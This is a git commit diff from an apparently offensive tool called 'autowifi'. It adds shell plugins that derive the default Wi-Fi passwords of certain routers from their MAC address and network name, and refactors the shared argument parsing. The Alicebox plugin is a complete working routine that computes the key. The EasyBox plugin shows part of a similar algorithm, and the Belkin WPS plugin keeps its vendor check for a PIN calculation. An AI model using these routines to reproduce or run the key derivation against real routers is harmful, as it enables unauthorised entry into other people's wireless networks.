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authorlassulus <lassulus@googlemail.com>2013-06-30 14:25:29 +0200
committerlassulus <lassulus@googlemail.com>2013-06-30 14:25:29 +0200
commitaf1d85fa6b390f8119c4ba695b3f075bd726806e (patch)
tree922822531854bfe6caf4a08e2b13a3cd400aade9 /usr/lib/autowifi
parent1d591aa1f4af30f41f2d44656d5b86e73048cffd (diff)
parentb99bbe256c030cec78b1c96d08eb02860dda911c (diff)
Merge branch 'master' of github.com:krebscode/autowifi
Diffstat (limited to 'usr/lib/autowifi')
-rw-r--r--usr/lib/autowifi/lib/plugin_core26
-rwxr-xr-xusr/lib/autowifi/plugins/02alice20
-rwxr-xr-xusr/lib/autowifi/plugins/02easybox19
-rwxr-xr-xusr/lib/autowifi/plugins/11belkin_wps9
4 files changed, 51 insertions, 23 deletions
diff --git a/usr/lib/autowifi/lib/plugin_core b/usr/lib/autowifi/lib/plugin_core
index da003350..1b83b0c3 100644
--- a/usr/lib/autowifi/lib/plugin_core
+++ b/usr/lib/autowifi/lib/plugin_core
@@ -1,24 +1,38 @@
+#!/bin/sh
parse_plugin_args(){
[ $# -ne 4 ] && plugin_usage && exit 1
# convenience function to put args in ENV variables
ESSID="$1"
- MAC="$2"
+
+ # mac is returned without colon
+ MAC=$(printf "%s" "$2" | sed 's/://g')
+ # split up the mac address to vendor and private part
+ VENDOR_MAC=${MAC:0:6}
+ PRIVATE_MAC=${MAC:6:12}
CHANNEL="$3"
ENC="$4"
- if [ ${#MAC} -ne 17 ] ;then
+ if [ ${#MAC} -ne 12 ] ;then
echo "MAC malformed"
exit 1
fi
}
plugin_usage(){
cat << EOF
-usage: $0 ESSID MAC CHANNEL ENC WPA WPA2"
+usage: $0 ESSID MAC CHANNEL ENC"
ESSID - string
MAC - 00:11:22:33:44:55
- ENC - on | off
- WPA - 0 | 1
- WPA2 - 0 | 1
+ CHANNEL - 4
+ ENC - wpa
EOF
}
+
+check_vendor_mac(){
+ needle="$(printf $1 | tr '[A-Z]' '[a-z]')"
+ shift
+ for i in "$@";do
+ [ "$needle" == "$(printf $i | tr '[A-Z]' '[a-z]')" ] && return 0
+ done
+ return 1
+}
diff --git a/usr/lib/autowifi/plugins/02alice b/usr/lib/autowifi/plugins/02alice
new file mode 100755
index 00000000..1b4533a4
--- /dev/null
+++ b/usr/lib/autowifi/plugins/02alice
@@ -0,0 +1,20 @@
+#!/bin/sh
+# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm:
+# Based on Poc from
+# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html
+#
+#
+# ESSID MAC CHANNEL ENCRYPTION
+
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+
+parse_plugin_args "$@"
+
+! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1
+
+# printf always makes string to lower, need that for correct md5sum
+ETHMAC=$( printf "%012x" $((0x${MAC}-1)) )
+TMP=$(printf $ETHMAC | md5sum)
+printf ${TMP:0:12} | base64
+exit 0
diff --git a/usr/lib/autowifi/plugins/02easybox b/usr/lib/autowifi/plugins/02easybox
index 2126e17c..3d7cb8c1 100755
--- a/usr/lib/autowifi/plugins/02easybox
+++ b/usr/lib/autowifi/plugins/02easybox
@@ -1,21 +1,20 @@
#!/bin/sh
#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
-if ! echo "$1" | egrep -qi "(EasyBox-|Arcor-|Vodafone-)"; then
- exit 1
-else
- MAC=${2?\$2 must be MAC}
- # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal.
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+parse_plugin_args "$@"
- take5=${MAC:12}
- last4=${take5/:/}
+if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then
+ echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone"
+ exit 1
+else
# Fill up to 4 places with zeros, if necessary:
- deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g')
- #echo M4: ${deci[@]}
+ deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g')
#
# The digits M9 to M12 are just the last digits (9.-12.) of the MAC:
- hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g')
+ hexi=$(echo ${MAC:8:4} | sed 's/./& /g')
#echo 'M4 (Hex): ' ${hexi[@]}
# K1 = last byte of (d0 + d1 + h2 + h3)
# K2 = last byte of (h0 + h1 + d2 + d3)
diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps
index 82140523..65e08624 100755
--- a/usr/lib/autowifi/plugins/11belkin_wps
+++ b/usr/lib/autowifi/plugins/11belkin_wps
@@ -15,13 +15,8 @@ cd $(dirname $(readlink -f $0))
. ../lib/wps
parse_plugin_args "$@"
-MAC=$(printf "%s" $MAC| sed 's/://g')
-VENDOR_MAC=${MAC:0:6}
-PRIVATE_MAC=${MAC:6:12}
-if ! [ $VENDOR_MAC == "002275" -o $VENDOR_MAC == "001CDF" -o $VENDOR_MAC == "09863B" ] ;then
- echo "VENDOR MAC $VENDOR_MAC not affected"
- exit 1
-fi
+
+! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1
calc_belkin(){
PRIVATE_MAC=${1}